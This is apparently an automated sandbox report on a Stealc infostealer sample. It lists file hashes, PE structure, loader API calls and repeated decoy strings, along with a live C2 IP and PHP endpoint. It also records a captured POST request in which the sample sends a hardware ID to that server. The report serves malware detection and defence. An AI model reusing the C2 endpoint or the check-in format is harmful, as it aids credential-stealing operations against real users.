http://185.215.113.37/e2b1563c6670f193.php8	file.exe, 00000000.00000002.2117942451.00000000012C2000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/;	file.exe, 00000000.00000002.2117942451.00000000012A8000.00000004.00000020.00020000.00000000.sdmp	true		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.37	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1522245
Start date and time:	2024-09-29 15:16:07 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 2m 50s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	2
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@1/0@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 80% Number of executed functions: 19 Number of non-executed functions: 82
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): dllhost.exe
VT rate limit hit for: file.exe

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.37	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	inject.exe	Get hash	malicious	RedLine, Xmrig	Browse	185.215.113.22
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.9472147631246255
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'839'104 bytes
MD5:	c4989e7909961b15e2428e4bdc416bf1
SHA1:	6a36b4ad1ca0fce053b450cf21fe848a168870e6
SHA256:	36453fb6acaf0514d0af6fbf8ed6b8da0372c90b713c18ef73d63b97f2ec5f53
SHA512:	ce5efc0f50ff511898e601e08eba937d09be04ee0852a2e2260987e372b736f82dd923fa3f16724b38a376409b949545eae0c52c9d6ee4849129d4b7077241fb
SSDEEP:	24576:wgKdD5zyIIUHgsgsCJY/uLKrFRp87pHYZwssGp67VNyuB+JHB/vnPVN2WeQD3mXH:MF2UOY/uLEXg7ssr9Q/lNO4CEUvhZ
TLSH:	AC8533446FD380E5D0B8997BC95F9EA863B54190A4EEE0534F89A9FB053E0450B37F72
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........C..............X.......m.......Y.......p.....y.........`...............\.......n.....Rich............PE..L.../..f...........

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xa98000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F1BA2F [Mon Sep 23 18:57:51 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FDF30E2743Ah
pmaxsw mm3, qword ptr [ebx]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [eax+eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
and al, 00h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop es
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x25d050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x25d1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x25b000	0x22800	2d3db0dc47b972ade98ae2f32d302238	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x25c000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x25d000	0x1000	0x200	c60c4959cc8d384ac402730cc6842bb0	False	0.1328125	data	0.9064079259880791	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x25e000	0x29e000	0x200	525c77c2685b45eeb38313b3818c87d0	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
gnrpyfds	0x4fc000	0x19b000	0x19ac00	5ba81c144b20ac6757c8bc21b2b58c6a	False	0.9948069223600122	data	7.953723729400017	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
orxvkivb	0x697000	0x1000	0x600	1ebd04c432fffb9110a5ca6df22d137b	False	0.578125	data	4.99055856352984	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x698000	0x3000	0x2200	6e8a32136c895b06d74a7d3412c09720	False	0.06571691176470588	DOS executable (COM)	0.6997224486146711	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-09-29T15:17:05.403571+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	49704	185.215.113.37	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 29, 2024 15:17:04.476125956 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 15:17:04.481193066 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 15:17:04.481306076 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 15:17:04.481549978 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 15:17:04.486435890 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 15:17:05.173070908 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 15:17:05.173132896 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 15:17:05.177233934 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 15:17:05.183305025 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 15:17:05.403445005 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 15:17:05.403570890 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 15:17:07.888881922 CEST	49704	80	192.168.2.5	185.215.113.37

HTTP Request Dependency Graph

185.215.113.37

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	185.215.113.37	80	6984	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Sep 29, 2024 15:17:04.481549978 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Sep 29, 2024 15:17:05.173070908 CEST	203	IN	HTTP/1.1 200 OK Date: Sun, 29 Sep 2024 13:17:05 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 29, 2024 15:17:05.177233934 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJDHDGDAAAAKFIDGHJDG Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 44 48 44 47 44 41 41 41 41 4b 46 49 44 47 48 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 32 37 41 30 37 38 36 32 46 37 31 33 36 30 34 32 39 36 32 39 37 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 48 44 47 44 41 41 41 41 4b 46 49 44 47 48 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 61 76 65 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 48 44 47 44 41 41 41 41 4b 46 49 44 47 48 4a 44 47 2d 2d 0d 0a Data Ascii: ------IJDHDGDAAAAKFIDGHJDGContent-Disposition: form-data; name="hwid"927A07862F713604296297------IJDHDGDAAAAKFIDGHJDGContent-Disposition: form-data; name="build"save------IJDHDGDAAAAKFIDGHJDG--
Sep 29, 2024 15:17:05.403445005 CEST	210	IN	HTTP/1.1 200 OK Date: Sun, 29 Sep 2024 13:17:05 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Target ID:	0
Start time:	09:17:00
Start date:	29/09/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x690000
File size:	1'839'104 bytes
MD5 hash:	C4989E7909961B15E2428E4BDC416BF1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2117942451.000000000124E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2075603665.0000000005050000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2116121170.0000000000691000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	8.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	9.7%
Total number of Nodes:	2000
Total number of Limit Nodes:	24

Executed Functions

Function 006A9860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75900000,01260C18), ref: 006A98A1
GetProcAddress.KERNEL32(75900000,01260EB8), ref: 006A98BA
GetProcAddress.KERNEL32(75900000,01260ED0), ref: 006A98D2
GetProcAddress.KERNEL32(75900000,01260C30), ref: 006A98EA
GetProcAddress.KERNEL32(75900000,01260C48), ref: 006A9903
GetProcAddress.KERNEL32(75900000,01268F70), ref: 006A991B
GetProcAddress.KERNEL32(75900000,01255480), ref: 006A9933
GetProcAddress.KERNEL32(75900000,012553C0), ref: 006A994C
GetProcAddress.KERNEL32(75900000,01260D80), ref: 006A9964
GetProcAddress.KERNEL32(75900000,01260C60), ref: 006A997C
GetProcAddress.KERNEL32(75900000,01260CA8), ref: 006A9995
GetProcAddress.KERNEL32(75900000,01260D98), ref: 006A99AD
GetProcAddress.KERNEL32(75900000,01255400), ref: 006A99C5
GetProcAddress.KERNEL32(75900000,01260CC0), ref: 006A99DE
GetProcAddress.KERNEL32(75900000,01260CD8), ref: 006A99F6
GetProcAddress.KERNEL32(75900000,012554C0), ref: 006A9A0E
GetProcAddress.KERNEL32(75900000,01260CF0), ref: 006A9A27
GetProcAddress.KERNEL32(75900000,01260F90), ref: 006A9A3F
GetProcAddress.KERNEL32(75900000,01255420), ref: 006A9A57
GetProcAddress.KERNEL32(75900000,01260FA8), ref: 006A9A70
GetProcAddress.KERNEL32(75900000,012554E0), ref: 006A9A88
LoadLibraryA.KERNEL32(01260EE8,?,006A6A00), ref: 006A9A9A
LoadLibraryA.KERNEL32(01260F00,?,006A6A00), ref: 006A9AAB
LoadLibraryA.KERNEL32(01260F18,?,006A6A00), ref: 006A9ABD
LoadLibraryA.KERNEL32(01260F30,?,006A6A00), ref: 006A9ACF
LoadLibraryA.KERNEL32(01260F48,?,006A6A00), ref: 006A9AE0
GetProcAddress.KERNEL32(75070000,01260F60), ref: 006A9B02
GetProcAddress.KERNEL32(75FD0000,01260F78), ref: 006A9B23
GetProcAddress.KERNEL32(75FD0000,01269528), ref: 006A9B3B
GetProcAddress.KERNEL32(75A50000,01269540), ref: 006A9B5D
GetProcAddress.KERNEL32(74E50000,01255500), ref: 006A9B7E
GetProcAddress.KERNEL32(76E80000,01268F80), ref: 006A9B9F
GetProcAddress.KERNEL32(76E80000,NtQueryInformationProcess), ref: 006A9BB6

Strings

NtQueryInformationProcess, xrefs: 006A9BAA

Memory Dump Source

Source File: 00000000.00000002.2116121170.0000000000691000.00000040.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true

Associated: 00000000.00000002.2116097013.0000000000690000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000741000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.00000000008EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117648949.0000000000B8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117757470.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117772943.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_690000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: 8f22a602f135059826f9d293958458230c9651aaf97789bf704b012c12253815
Instruction ID: 1bd45dde8bb29b977586d0184707eef98793eb8730a4ec1a61e87fa801f861ab
Opcode Fuzzy Hash: 8f22a602f135059826f9d293958458230c9651aaf97789bf704b012c12253815
Instruction Fuzzy Hash: D9A17CB56022419FD34CEFA8FD8896637F9F74C301734472BAA45C3264DB399941DB26

Function 006945C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 0069460F
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 0069479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006945D2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0069462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00694713
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00694683
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006946CD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00694657
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00694643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0069471E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00694617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00694678
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0069473F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0069477B
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006946B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006945F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00694770
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00694729
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006945E8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0069474F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006945C7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006945DD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0069475A
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00694662
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006946D8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00694734
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00694765
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006946AC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00694622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00694638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0069466D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006946C2

Memory Dump Source

Source File: 00000000.00000002.2116121170.0000000000691000.00000040.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true

Associated: 00000000.00000002.2116097013.0000000000690000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000741000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.00000000008EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117648949.0000000000B8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117757470.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117772943.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_690000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeapProtectVirtual
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and 